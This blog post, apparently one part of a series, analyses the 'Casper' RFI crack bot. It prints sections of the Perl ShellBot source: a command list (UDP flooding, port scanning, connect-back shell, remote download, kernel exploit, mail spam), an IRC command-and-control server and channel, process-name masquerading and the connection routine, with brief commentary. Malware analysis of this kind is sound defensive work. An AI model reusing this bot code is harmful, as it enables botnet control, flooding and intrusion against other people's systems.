Irregular Expressions

Sep 15 2010   10:14AM GMT

Casper RFI crack bot – Part 11

Dan O'Connor Dan O'Connor Profile: Dan O'Connor

Ok we have a couple more to go through.

Next is;

$filebotperl = "iso.txt";

I love comments, at least we don’t have to guess what this is for.

#!/usr/bin/perl
#
#  ShellBOT by: devil__
#       Greetz: Puna, Kelserific
# Comandos:
#           @oldpack <ip> <bytes> <tempo>;
#           @udp <ip> <porta> <tempo>;
#           @fullportscan <ip> <porta inicial> <porta final>;
#           @conback <ip> <porta>
#           @download <url> <arquivo a ser salvo>;
#           !estatisticas <on/off>;
#           !sair para finalizar o bot;
#           !novonick para trocar o nick do bot por um novo aleatorio;
#           !entra <canal> <tempo>
#           !sai <canal> <tempo>;
#           !pacotes <on/off>
#           @info
#           @xpl <kernel>
#           @sendmail <assunto> <remetente> <destinatario> <conteudo>
########## CONFIGURACAO ############

my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","");
my $processo = $ps[rand scalar @ps];

$servidor='irc.shell2k.com' unless $servidor;
my $porta='6667';
my @canais=("#megaturks");
my @adms=("CaLLDeRooN");

# Anti Flood ( 6/3 Recomendado )
my $linas_max=10;
my $sleep=5;

my $nick = getnick();
my $ircname = getident2();
my $realname = "uname -n";
#chop (my $realname = `uname -n`);

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "!all";
my $estatisticas = 0;
my $pacotes = 1;
####################################

my $VERSAO = '0.3b';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

There is a lot to go through on this, but this part looks like it’s getting ready to make an IRC connection.

#####################
# Stealth Shellbot  #
#####################

sub getnick {
  return "Exbot".int(rand(1000));
}

sub getident2 {
        my $length=shift;
        $length = 3 if ($length < 3);

        my @chars=('a'..'z','A'..'Z','1'..'9');
        foreach (1..$length)
        {
                $randomstring.=$chars[rand @chars];
        }
        return $randomstring;
}

#############################
#  B0tchZ na veia ehehe :P  #
#############################

This section is  connecting to the IRC server,

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     print "\nShellBot $VERSAO by: deviL__\n";
     print "nick: $nick\n";
     print "servidor: $servidor\n\n";
     sleep 2;
   }

}

 Comment on this Post

 
There was an error processing your information. Please try again later.
Thanks. We'll let you know when a new response is added.
Send me notifications when other members comment.

Forgot Password

No problem! Submit your e-mail address below. We'll send you an e-mail containing your password.

Your password has been sent to:

Share this item with your network: